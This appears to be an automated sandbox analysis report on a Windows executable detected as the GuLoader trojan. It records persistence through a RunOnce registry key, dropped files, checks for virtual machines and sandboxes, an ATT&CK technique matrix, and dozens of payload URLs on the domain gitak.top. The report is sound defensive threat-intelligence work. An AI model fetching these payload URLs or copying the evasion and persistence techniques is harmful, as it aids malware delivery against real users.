Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown

HTTPS traffic detected: 172.67.207.219:443 -> 192.168.11.20:49776 version: TLS 1.2

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Code function: 0_2_004052D1 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052D1

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Code function: 0_2_00403358 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_00403358

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

File created: C:\Windows\Fonts\logorrheic.ini

Jump to behavior

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Code function: 0_2_00404B0E		0_2_00404B0E
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Code function: 0_2_0040653D		0_2_0040653D

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll 5A1C20A3E2E2EB182976977669F2C5D9F3104477E98F74D69D2434E79B92FDC3

Source: WEAREX_IHRACAT.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal96.troj.evad.winEXE@3/10@1/1

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Code function: 0_2_004045C8 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045C8

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

File created: C:\Users\user\gangningerne

Jump to behavior

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

File created: C:\Users\user\AppData\Local\Temp\nsrB207.tmp

Jump to behavior

Source: WEAREX_IHRACAT.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: WEAREX_IHRACAT.exe	ReversingLabs: Detection: 57%
Source: WEAREX_IHRACAT.exe	Virustotal: Detection: 70%

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

File read: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\WEAREX_IHRACAT.exe "C:\Users\user\Desktop\WEAREX_IHRACAT.exe"
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Process created: C:\Users\user\Desktop\WEAREX_IHRACAT.exe "C:\Users\user\Desktop\WEAREX_IHRACAT.exe"
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Process created: C:\Users\user\Desktop\WEAREX_IHRACAT.exe "C:\Users\user\Desktop\WEAREX_IHRACAT.exe"	Jump to behavior

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

File written: C:\Windows\Fonts\logorrheic.ini

Jump to behavior

Source:	Binary string: mshtml.pdb source: WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: mshtml.pdbUGP source: WEAREX_IHRACAT.exe, 00000002.00000001.1798696574.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000002.00000002.6650157112.0000000001721000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2455393389.00000000031C1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Code function: 0_2_00406252 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406252

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Code function: 0_2_10002DB0 push eax; ret

0_2_10002DDE

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	File created: C:\Users\user\AppData\Local\Temp\Pregnancy\Caterva.exe			Jump to dropped file
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	File created: C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll			Jump to dropped file

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Aaregang	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Aaregang	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Aaregang	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Aaregang	Jump to behavior

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	API/Special instruction interceptor: Address: 3B9064C
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	API/Special instruction interceptor: Address: 20F064C

Tries to detect Any.run

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: WEAREX_IHRACAT.exe, 00000000.00000002.2454702196.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0 FILES\QEMU-GA\QEMU-GA.EXEP
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2458782228.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653716052.0000000002A00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2454702196.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEN

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe TID: 5580	Thread sleep count: 39 > 30			Jump to behavior
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe TID: 5580	Thread sleep time: -390000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Code function: 0_2_0040276E FindFirstFileW,	0_2_0040276E
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Code function: 0_2_00405770 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405770
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	Code function: 0_2_0040622B FindFirstFileW,FindClose,	0_2_0040622B

Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2454702196.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exeN
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: WEAREX_IHRACAT.exe, 00000002.00000003.2933900374.0000000002897000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3144180833.0000000002897000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.3566595182.0000000002897000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653418336.0000000002897000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620738937.0000000002897000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410480994.0000000002897000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6093636332.0000000002897000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.2197529994.0000000002897000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988266502.0000000002897000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6199353892.0000000002897000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: WEAREX_IHRACAT.exe, 00000002.00000003.6093636332.0000000002866000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6620738937.0000000002866000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6410480994.0000000002866000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.5988266502.0000000002866000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6305027978.0000000002866000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6199353892.0000000002866000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653418336.0000000002867000.00000004.00000020.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000003.6515602395.0000000002866000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2454702196.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0 Files\Qemu-ga\qemu-ga.exep
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2458782228.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, WEAREX_IHRACAT.exe, 00000002.00000002.6653716052.0000000002A00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: WEAREX_IHRACAT.exe, 00000000.00000002.2459409919.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	API call chain: ExitProcess graph end node			graph_0-4396
Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe	API call chain: ExitProcess graph end node			graph_0-4392

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Code function: 0_2_00406252 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406252

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Process created: C:\Users\user\Desktop\WEAREX_IHRACAT.exe "C:\Users\user\Desktop\WEAREX_IHRACAT.exe"

Jump to behavior

Source: C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Code function: 0_2_00405F0A GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00405F0A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	11 Process Injection	11 Masquerading	OS Credential Dumping	41 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
WEAREX_IHRACAT.exe	58%	ReversingLabs	Win32.Trojan.Guloader
WEAREX_IHRACAT.exe	70%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\Pregnancy\Caterva.exe	58%	ReversingLabs	Win32.Trojan.Guloader
C:\Users\user\AppData\Local\Temp\nseB6DC.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
gitak.top	23%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://gitak.top/dmAaHCQMI79.bin/A~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin5	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin)	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin6	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/9~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.bin6	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin0	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.binM~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/	100%	Avira URL Cloud	malware
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
https://gitak.top/dmAaHCQMI79.binD	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.binNJ	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bine~	100%	Avira URL Cloud	malware
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	0%	Avira URL Cloud	safe
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.bin	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.binY~	100%	Avira URL Cloud	malware
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
https://gitak.top/W~	100%	Avira URL Cloud	malware
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	0%	Virustotal		Browse
https://gitak.top/dmAaHCQMI79.bin/o~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binR	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/Y~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.binR	100%	Avira URL Cloud	malware
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	0%	Avira URL Cloud	safe
https://gitak.top/dmAaHCQMI79.binX	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/K~v	100%	Avira URL Cloud	malware
https://gitak.top/e~	100%	Avira URL Cloud	malware
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	0%	Virustotal		Browse
https://gitak.top/dmAaHCQMI79.binK	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin-~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binX	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bino~	100%	Avira URL Cloud	malware
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	0%	Avira URL Cloud	safe
https://gitak.top/dmAaHCQMI79.binA~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.binK~v	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binD	100%	Avira URL Cloud	malware
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	0%	Virustotal		Browse
https://gitak.top/dmAaHCQMI79.binf	100%	Avira URL Cloud	malware
https://ocsp.quovadisoffshore.com0	0%	Avira URL Cloud	safe
https://gitak.top/dmAaHCQMI79.bin9~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/M~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bince	100%	Avira URL Cloud	malware
https://gitak.top/7~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.binq	100%	Avira URL Cloud	malware
https://gitak.top/A~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.binW~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/7~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binz	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.binl	100%	Avira URL Cloud	malware
https://gitak.top/	100%	Avira URL Cloud	malware
https://gitak.top/M~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin	20%	Virustotal		Browse
https://gitak.top/dmAaHCQMI79.binc~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/e~	100%	Avira URL Cloud	malware
http://nsis.sf.net/NSIS_ErrorError	0%	Avira URL Cloud	safe
https://gitak.top/dmAaHCQMI79.binMicrosoft	100%	Avira URL Cloud	malware
https://gitak.top/K~v	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/dmAaHCQMI79.binl	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.binz	100%	Avira URL Cloud	malware
https://gitak.top/My	100%	Avira URL Cloud	malware
https://gitak.top/Y~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin7~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/W~	100%	Avira URL Cloud	malware
https://gitak.top/dmAaHCQMI79.bin/c~	100%	Avira URL Cloud	malware
